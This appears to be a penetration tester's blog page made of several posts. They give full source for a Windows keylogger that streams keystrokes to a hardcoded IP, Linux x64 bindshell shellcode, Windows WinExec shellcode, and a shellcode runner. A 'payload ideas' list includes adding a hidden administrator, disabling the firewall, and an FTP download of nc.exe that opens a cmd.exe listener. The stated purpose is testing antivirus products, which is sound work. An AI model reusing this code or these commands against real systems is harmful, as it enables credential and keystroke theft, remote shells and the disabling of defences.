Categories
Uncategorized

A basic keylogger for Windows

For testing security software and hardware I wrote a very simple keylogger (which is very noisy). Together with the winexec shellcode I wrote earlier it is possible to download and start the keylogger which simulates a very simple malware. My idea is it to have a some tools (when I will have more time to program 🙂 ), that help testing all the nice antivirus, sandboxing and so on solutions for my daily pentesting job, from exploitation on. That also includes antivirus evasion tools (based on https://github.com/govolution/avepoc).

How it works
Start the executable on the “target” system. Start nc on the “attacking” system.

2015-07-14 14_22_46-WinXP_1 (Ausgangspunkt fĂĽr WinXP_1 und WinXP_1-Klon) [wird ausgefĂĽhrt] - Oracle

From a technical point of view there is nothing spectacular to see here. The function used for getting what keys are pressed is GetAsyncKeyState (see here).

Code for the keylogger

/* Tested: Windows XP/7/8
 * Compiler: mingw
 * Compile with: g++ WinKeylog.cpp -lWs2_32
 * Some of the code is from:
 * http://www.online-tutorials.net/system/keylogger-tastatur-abfragen/sourcecodes-t-19-270.html
 */

#include <string.h>  
#include <iostream> 
#include <winsock2.h> 
 
std::string GetKey(int Key) 
{ 
	std::string KeyString = ""; 

	if (Key == 8) 
		KeyString = "[delete]"; 
	if (Key == 13) 
		KeyString = "\n"; 
	if (Key == 32) 
		KeyString = " "; 
	if (Key == VK_PAUSE) 
		KeyString = "[PAUSE]"; 
	if (Key == VK_CAPITAL) 
		KeyString = "[CAPITAL]"; 
	if (Key == VK_SHIFT) 
		KeyString = "[SHIFT]"; 
	if (Key == VK_TAB) 
		KeyString = "[TABULATOR]"; 
	if (Key == VK_CONTROL)
		KeyString = "[CTRL]"; 
	if (Key == VK_ESCAPE) 
		KeyString = "[ESCAPE]"; 
	if (Key == VK_END) 
		KeyString = "[END]"; 
	if (Key == VK_HOME) 
		KeyString = "[HOME]"; 
	if (Key == VK_LEFT) 
		KeyString = "[LEFT]"; 
	if (Key == VK_RIGHT) 
		KeyString = "[RIGHT]"; 
	
	if (Key >=96 && Key  47 && Key  64 && Key < 91) 
		{ 
			if (GetKeyState(VK_CAPITAL)) 
				KeyString = Key; 
			else 
			{ 
				Key = Key + 32; 
				KeyString = Key; 
			} 
		} 
	} 

	return KeyString; 
} 

int main() 
{ 
	WSAData version;     
	WORD mkword=MAKEWORD(2,2);
	WSAStartup(mkword,&version);

	SOCKET u_sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	sockaddr_in addr;
	addr.sin_family=AF_INET;
	addr.sin_addr.s_addr=inet_addr("192.168.10.29");
	addr.sin_port=htons(80);

	int conn=connect(u_sock,(SOCKADDR*)&addr,sizeof(addr));
	if(conn==SOCKET_ERROR) {
		closesocket(u_sock);
		WSACleanup();
	}

	char vect[512]={0};

	std::string TempString = ""; 

	while(true) 
	{ 
		Sleep(5); 

		for(int i = 8; i < 191; i++) 
		{ 
			if(GetAsyncKeyState(i)&1 ==1) 
			{ 
				TempString = GetKey (i); 
				int smsg=send(u_sock, TempString.c_str(), TempString.length(), 0);
				if(smsg==SOCKET_ERROR)
					WSACleanup();
			} 
		} 
	}
	closesocket(u_sock);
	return 1; 
}  

The code can also be found here.

Categories
Uncategorized

Raspberry Pi & ARM Shellcoding

Lately I was playing with my Raspberry Pi B with a Raspian GNU/Linux 7 and this is a short walkthrough with a hello world example.

For a more in depth introduction for ARM shellcoding look here:
http://shell-storm.org/blog/Shellcode-On-ARM-Architecture/

Adopted from that article here is the example:

.section .text
.global _start

_start:

.code 32
add r6, pc, #1
bx r6

.code 16
# write
mov r2, #12
mov r1, pc
add r1, #14
mov r0, $0x1
mov r7, $0x4
svc 1

# exit
sub r4, r4, r4
mov r0, r4
mov r7, $0x1
svc 1

.ascii "hello world\n"

Building:

$ as -mthumb -o hello.o hello.s
$ ld -o hello hello.o

With the following script it is easy to dump the shellcode:

# dump ARM shellcode
# for 32bit code
# call: ./dumpsc.sh binaryfile

#!/bin/bash
objdump -d $1 | cut -d ":" -f2 | cut -d " " -f1 | tr -d ' \t\r\f' > sctempfile.txt.tmp

while read line
  do
  l=${#line}
  if [ $l = "4" ];
    then echo "\"\\x${line:2:2}\\x${line:0:2}\""
  fi
  if [ $l = "8" ];
    then echo "\"\\x${line:6:2}\\x${line:4:2}\\x${line:2:2}\\x${line:0:2}\""
  fi

done <sctempfile.txt.tmp

rm sctempfile.txt.tmp

And the corresponding c program:

#include <stdio.h>
#include <string.h>

char *sc =
"\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x0c\x22"
"\x79\x46"
"\x0e\x31"
"\x01\x20"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x68\x65\x6c\x6c"
"\x6f\x20\x77\x6f"
"\x72\x6c\x64\x0a"

int main(void)
{
  (*(void(*)()) sc)();
  return 0;
}

That was it for now, hope I will have some time to port a bindshellcode to ARM.

Categories
Uncategorized

Shifting from 32bit to 64bit Linux Shellcode

Here is a short write-up about my first steps about Linux (Kali in my case) 64bit shellcoding. Mostly as a reminder for myself, but maybe it helps some folks to save a little time.

Hello World

First I searched for two examples for a hello world shellcode for comparing them. I adjusted the examples:

Auswahl_004

Get hello64.asm and hello32.asm.

Here you can see that there a three differences:

– The registers are different. 64bit registers used here are rax, rdi, rsi and rdx, which are the 64bit registers

– The syscall numbers are different and they have nothing in common.

– The syscalls are executed with syscall instead of int 0x80.

Here are 32bit syscalls and here the is the 64bit version.

A short article the helped me can be found here.

Build the 32bit version:

# nasm -f elf hello.asm
# ld -melf_i386 hello.o -o hello
# ./hello
Hello, World!
# objdump -d hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"

Here is the c program:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x16\x31\xc0\xb0\x04\x31\xdb\x43\x59\x31\xd2\x83\xc2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

For compiling the 32bit version with Kali Linux 64bit I needed to install 32bit versions of c libs:

apt-get install g++-multilib libc6-dev-i386

And compile it with:

# gcc -m32 -fno-stack-protector -z execstack hello.c
# ./a.out 
Shellcode Length:  44
Hello, World!

Build the 64bit version:

# nasm -felf64 hello64.asm -o hello64.o
# ld hello64.o -o hello64
# ./hello64 
Hello, World!
# objdump -d hello64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"

64bit c code:

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x1e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x5e\x48\x31\xd2\x48\x83\xc2\x0f\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Compile:

# gcc -fno-stack-protector -z execstack hello64.c
# ./a.out 
Shellcode Length:  52
Hello, World!

Bindshell

The second example I looked at was a bindshell. For that I took the example from me for the SLEA certification, that can be found here. I looked for a 64bit example and found it here and make it fit.

Here are the two examples in comparison, well parts of it:

Auswahl_001

Another difference that you can see here is how for example socket() or bind() are called. The socketcall is not needed anymore. Of course the 64bit registers are can keep more data:

Auswahl_005

The full example for the 64bit bindshell can be found here.

Here is the corresponding c program:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

main()
{
    (*(void (*)()) code)();
}

For compiling & linking the asm:

# nasm -felf64 bindshellcodeds64.asm -o bindshellcodeds64.o
# ld bindshellcodeds64.o -o bindshellcodeds64
# objdump -d bindshellcodeds64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x30\x39\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

When dumping the shellcode I encountered a problem which I described in an earlier blog post.

Categories
Uncategorized

Dumping shellcode 64bit style

Problem: I had a shellcode that I compiled and used in a .c program. The compiled .c program crashed, but the executable from the assembly file worked.
Normally I use this line:

# objdump -d hello32|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

But this did not work.
The problem was in the following line in my assembly code:

mov rbx,0x68732f6e69622fff

When using objdump the problem will become more clear:

# objdump -d exbindshell
...
4000df:	48 bb 2f 2f 62 69 6e 	movabs $0x68732f6e69622f2f,%rbx
...

With the command above the “6e” will be missing in the shellcode.

Using this:

# objdump -d exbindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

solved this problem for me (so far). The difference is the “cut -f1-7”.

Categories
Uncategorized

Null Free Windows WinExec Shellcode & Tool for generating Payload

Shellcode

Here is a shellcode that might run on most windows machines.

I adopted code from here:
http://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
so thanks to the author of that shellcode.

Instead of CreateProcess I use WinExec in this example.

; Filename: winexec.asm
; Author: Daniel Sauder
; Website: http://danielsauder.com/
; License: http://creativecommons.org/licenses/by-sa/3.0/

BITS 32

global _start

_start:

xor ebx, ebx

;Find Kernel32 Base
mov edi, [fs:ebx+0x30]
mov edi, [edi+0x0c]
mov edi, [edi+0x1c]

module_loop:
mov eax, [edi+0x08]
mov esi, [edi+0x20]
mov edi, [edi]
cmp byte [esi+12], '3'
jne module_loop

; Kernel32 PE Header
mov edi, eax
add edi, [eax+0x3c]

; Kernel32 Export Directory Table
mov edx, [edi+0x78]
add edx, eax

; Kernel32 Name Pointers
mov edi, [edx+0x20]
add edi, eax

; Find WinExec
mov ebp, ebx
name_loop:
mov esi, [edi+ebp*4]
add esi, eax
inc ebp
cmp dword [esi],   0x456e6957 ;WinE
jne name_loop

; WinExec Ordinal
mov edi, [edx+0x24]
add edi, eax
mov bp, [edi+ebp*2]

; WinExec Address
mov edi, [edx+0x1C]
add edi, eax
mov edi, [edi+(ebp-1)*4] ;subtract ordinal base
add edi, eax

; Zero Memory
mov ecx, ebx
mov cl, 0xFF
zero_loop:
push ebx
loop zero_loop

; push payload here (notepad)
push 0x20646170
push 0x65746F6E

mov edx, esp

; call WinExec
inc ecx  ; ecx=1 show window, 0=hidden (simply comment out for that)
push ecx ; window mode
push edx ; command
call edi

Download from github here.

Generate Payload

Further I wrote a small tool for generating the payload:

/*
Filename: pushstack.c
Author: Daniel Sauder
Website: http://danielsauder.com/
License: http://creativecommons.org/licenses/by-sa/3.0/

- generate asm code that pushes a given string on the stack in reverse order
- fill up with empty spaces if neccessary
*/

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
	if(argv[1]==NULL)
	{
		printf("usage: pushstack \"foo bar\"\n");
		return 0;
	}

	char *buf=argv[1];
	int l=strlen(buf);
	int x;

	// fill with spaces if neccessary
	int ll=4-(l%4);
	if (ll!=4)
	{
		printf("push 0x");
		for (x=0;x<ll;x++)
			printf("20");
	}

	// printf asm code to screen
	for (x=l; x>0; x--)
	{
		if ((x%4)==0) printf("push 0x");
		printf("%02X",buf[x-1]);
		if ((x%4)==1) printf("\n");

	}
	printf("\n");
	return 0;
}

Download from github here.

Example usage:

# ./pushstack notepad
push 0x20646170
push 0x65746F6E

Some ideas for payloads

Add a user and make him admin:
cmd /c net user x x /ADD & net localgroup Administrators x /ADD

Disable the firewall (on older Windows boxes):
cmd /c netsh firewall set opmode disable

Download a file by ftp and execute the file:
cmd /c echo open 192.168.2.102>x.ftp&echo user>>x.ftp&echo pass>>x.ftp&echo binary>>x.ftp&echo mget nc.exe>>x.ftp&echo disconnect>>x.ftp&echo quit>>x.ftp&ftp -i -s:x.ftp&nc -lvp 4444 -e cmd.exe

If you have null bytes in your payload you might need an encoder for the shellcode, like msfencode.

Categories
Uncategorized

Deepsec 2014: Why Antivirus Software fails

Here are the slides from my talk at the Deepsec 2014 conference:

https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf

Categories
Uncategorized

Shellcode Binder for Windows 64 Bit

I did not find a shellcode binder for Windows 64 bit systems, so here is my version:

#include <windows.h>

unsigned char sc[] =
// your shellcode here

typedef void (*FUNCPTR)();

int main(int argc, char **argv)
{
FUNCPTR func;
int len;
DWORD oldProtect;

len = sizeof(sc);

if (0 == VirtualProtect(&sc, len, PAGE_EXECUTE_READWRITE, &oldProtect))
return 1;

func = (FUNCPTR)sc;
func();

return 0;
}

For development I used TDM-GCC-64, compiled with gcc -m64 binder.c.

This article brought me on the right path for using VirtualProtect:

http://mcdermottcybersecurity.com/articles/windows-x64-shellcode

More on VirtualProtect:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

Categories
Uncategorized

Usefull Addons for Webapplication Pentesting

So here is just a very short one. Always when I have to set up a new pentest machine, I have to look it up again, so here is a small list of browser addons that are usefull for webapp pentesting:

Wappalyzer
Hackbar
Firebug
FoxyProxy
Export Cookies
ProfileSwitcher
Web Developer Toolbar
GroundSpeed
Tamper Data
ImmuniWeb

Categories
Uncategorized

Article about Antivirus Evasion

Check out my article about antivirus evasion here.

Categories
Uncategorized

Shellcode for deleting a file

Just a short one here. This shellcode simply deletes a file with the name x. Have fun.

deletefile.nasm

; Filename: deletefile.nasm
; Author: Daniel Sauder
; Website: http://govolution.wordpress.com
; Tested on: Ubuntu 12.04 / 32Bit
; License http://creativecommons.org/licenses/by-sa/3.0/

; delete file with name x

section .text

global _start

_start:

	push 0x78 ; push x, filename
	mov ebx,esp
	xor eax,eax
	mov al,0xa
	int 0x80
	
	mov al,0x1
	int 0x80
	

You can download the code from github.